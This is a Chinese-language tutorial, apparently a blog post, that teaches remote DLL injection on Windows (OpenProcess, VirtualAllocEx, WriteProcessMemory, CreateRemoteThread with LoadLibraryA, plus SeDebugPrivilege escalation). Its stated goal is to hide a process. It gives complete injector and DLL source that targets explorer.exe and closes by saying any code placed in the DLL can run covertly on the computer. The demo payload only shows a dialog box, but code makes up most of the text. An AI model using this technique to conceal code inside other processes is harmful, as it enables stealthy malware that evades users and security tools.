9X
环境中Windows提供了想光的API函数用于隐藏系统进程。但是到了
2000
以上系统,已经无法真正的做到对于进程的隐藏,除非编写底层驱动。但是我们可以通过一些变通的办法来达到隐藏进程的目的,其中一个就是远程注入。简单的说就是先编写一个 API的DLL,然后将这个DLL库注入到一个系统进程中,作为它的一个线程去执行。
要实现DLL注入,首先需要打开目标进程。
hRemoteProcess
=
OpenProcess
(
PROCESS_CREATE_THREAD
|
//允许远程创建线程
PROCESS_VM_OPERATION
|
//允许远程VM操作
PROCESS_VM_WRITE
,
//允许远程VM写
FALSE
,
dwRemoteProcessId
)
由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。
如果进程打不开,以后的操作就别想了。进程打开后,就可以建立远线程了,不过别急,先想想这个远线程的线程函数是什么?我们的目的是注入一个DLL。而且我们知道用LoadLibrary可以加载一个DLL到本进程的地址空间。于是,自然会想到如果可以在目标进程中调用LoadLibrary,不就可以把 DLL加载到目标进程的地址空间了吗?对!就是这样。远线程就在这儿用了一次,建立的远线程的线程函数就是LoadLibrary,而参数就是要注入的 DLL的文件名。
(
这里需要自己想一想,注意到了吗,线程函数ThreadProc和LoadLibrary函数非常相似,返回值,参数个数都一样
)
还有一个问题,LoadLibrary这个函数的地址在哪儿?也许你会说,这个简单,GetProcAddress就可以得出。于是代码就出来了。
char
*
pszLibFileRemote
=
"my.dll"
;
PTHREAD_START_ROUTINE pfnStartAddr
= (
PTHREAD_START_ROUTINE
)
GetProcAddress
(
GetModuleHandle
(
"Kernel32"
),
"LoadLibraryA"
);
CreateRemoteThread
(
hRemoteProcess
,
NULL
,
0
,
pfnStartAddr
,
pszLibFileRemote
,
0
,
NULL
);
但是不对!不要忘了,这是远线程,不是在你的进程里,而pszLibFileRemote指向的是你的进程里的数据,到了目标进程,这个指针都不知道指向哪儿去了,同样pfnStartAddr这个地址上的代码到了目标进程里也不知道是什么了,不知道是不是你想要的LoadLibraryA了。但是,问题总是可以解决的,Windows有些很强大的API函数,他们可以在目标进程里分配内存,可以将你的进程中的数据拷贝到目标进程中。因此 pszLibFileRemote的问题可以解决了。
char
*
pszLibFileName
=
"my.dll"
;
//注意,这个一定要是全路径文件名,除非它在系统目录里;原因大家自己想想。
//计算DLL路径名需要的内存空间
int
cb
= (
1
+
lstrlenA
(
pszLibFileName
)) *
sizeof
(
char
);
//使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
pszLibFileRemote
= (
char
*)
VirtualAllocEx
(
hRemoteProcess
,
NULL
,
cb
,
MEM_COMMIT
,
PAGE_READWRITE
);
//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
iReturnCode
=
WriteProcessMemory
(
hRemoteProcess
,
pszLibFileRemote
, (
PVOID
)
pszLibFileName
,
cb
,
NULL
);
OK,现在目标进程也认识pszLibFileRemote了,但是pfnStartAddr好像不好办,我怎么可能知道LoadLibraryA在目标进程中的地址呢?其实Windows为我们解决了这个问题,LoadLibraryA这个函数是在Kernel32
.
dll这个核心DLL里的,而这个 DLL很特殊,不管对于哪个进程,Windows总是把它加载到相同的地址上去。因此你的进程中LoadLibraryA的地址和目标进程中 LoadLibraryA的地址是相同的
(
其实,这个DLL里的所有函数都是如此
)
。至此,DLL注入结束了。
但是目前还有一个问题,上面的方法是无法将DLL注入到系统进程中去的,原因是进程级别不够。那么我们就要提升注入程序的进程级别。使用下面的函数:
void
EnableDebugPriv
(
void
)
{
HANDLE hToken
;
LUID sedebugnameValue
;
TOKEN_PRIVILEGES tkp
;
if
( !
OpenProcessToken
(
GetCurrentProcess
(),
TOKEN_ADJUST_PRIVILEGES
|
TOKEN_QUERY
, &
hToken
) )
return
;
if
( !
LookupPrivilegeValue
(
NULL
,
SE_DEBUG_NAME
, &
sedebugnameValue
) ){
CloseHandle
(
hToken
);
return
;
}
tkp
.
PrivilegeCount
=
1
;
tkp
.
Privileges
[
0
].
Luid
=
sedebugnameValue
;
tkp
.
Privileges
[
0
].
Attributes
=
SE_PRIVILEGE_ENABLED
;
if
( !
AdjustTokenPrivileges
(
hToken
,
FALSE
, &
tkp
,
sizeof
tkp
,
NULL
,
NULL
) )
CloseHandle
(
hToken
);
}
最后我们来做一个简单的例子:
首先编写注入程序的代码
// DLLAdd.cpp : Defines the entry point for the application.
//
#include
"stdafx.h"
#include
"winnt.h"
void
EnableDebugPriv
();
int
APIENTRY WinMain
(
HINSTANCE hInstance
,
HINSTANCE hPrevInstance
,
LPSTR lpCmdLine
,
int
nCmdShow
)
{
EnableDebugPriv
();
// TODO: Place code here.
HANDLE hRemoteProcess
;
HANDLE hRemoteThread
;
//PWSTR pszLibFileRemote;
//LPCWSTR pszLibFileName;
BOOL iReturnCode
;
char
*
pszLibFileRemote
=
"RemoteDLL.dll"
;
char
*
pszLibFileName
=
"C:\\RemoteDLL.dll"
;
//注意,这个一定要是全路径文件名,除非它在系统目录里
hRemoteProcess
=
OpenProcess
(
PROCESS_CREATE_THREAD
|
PROCESS_VM_OPERATION
|
PROCESS_VM_WRITE
,
FALSE
,
0x3E0
);
//0x3E0是进程的id,测试时是explorer的进程id,可以用spy++去查找。
//计算DLL路径名需要的内存空间
int
cb
= (
1
+
lstrlenA
(
pszLibFileName
)) *
sizeof
(
char
);
//使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
pszLibFileRemote
= (
char
*)
VirtualAllocEx
(
hRemoteProcess
,
NULL
,
cb
,
MEM_COMMIT
,
PAGE_READWRITE
);
//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
iReturnCode
=
WriteProcessMemory
(
hRemoteProcess
,
pszLibFileRemote
, (
PVOID
)
pszLibFileName
,
cb
,
NULL
);
//计算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr
= (
PTHREAD_START_ROUTINE
)
GetProcAddress
(
GetModuleHandle
(
TEXT
(
"Kernel32"
)),
"LoadLibraryA"
);
//启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件
hRemoteThread
=
CreateRemoteThread
(
hRemoteProcess
,
NULL
,
0
,
pfnStartAddr
,
pszLibFileRemote
,
0
,
NULL
);
return
0
;
}
//提升权限
void
EnableDebugPriv
(
void
)
{
HANDLE hToken
;
LUID sedebugnameValue
;
TOKEN_PRIVILEGES tkp
;
if
( !
OpenProcessToken
(
GetCurrentProcess
(),
TOKEN_ADJUST_PRIVILEGES
|
TOKEN_QUERY
, &
hToken
) )
return
;
if
( !
LookupPrivilegeValue
(
NULL
,
SE_DEBUG_NAME
, &
sedebugnameValue
) ){
CloseHandle
(
hToken
);
return
;
}
tkp
.
PrivilegeCount
=
1
;
tkp
.
Privileges
[
0
].
Luid
=
sedebugnameValue
;
tkp
.
Privileges
[
0
].
Attributes
=
SE_PRIVILEGE_ENABLED
;
if
( !
AdjustTokenPrivileges
(
hToken
,
FALSE
, &
tkp
,
sizeof
tkp
,
NULL
,
NULL
) )
CloseHandle
(
hToken
);
}
然后编写需要注入的DLL的代码
#include
"stdafx.h"
#include
"winnt.h"
#include
<
stdlib
.
h
>
BOOL APIENTRY DllMain
(
HANDLE hModule
,
DWORD ul_reason_for_call
,
LPVOID lpReserved
)
{
char
szProcessId
[
64
];
int
i
=
1
;
switch
(
ul_reason_for_call
)
{
case
DLL_PROCESS_ATTACH
:
{
_itoa
(
GetCurrentProcessId
(),
szProcessId
,
10
);
MessageBox
(
NULL
,
szProcessId
,
"RemoteDLL"
,
MB_OK
);
}
default
:
return
TRUE
;
}
}
将编译好的dll放到C盘根目录下面运行注入程序。我们可以发现弹出了一个标示了被注入进程id的对话框。
如上,只要我们再dll中编写我们需要的代码,就可以隐秘的在电脑里执行我们需要的事情。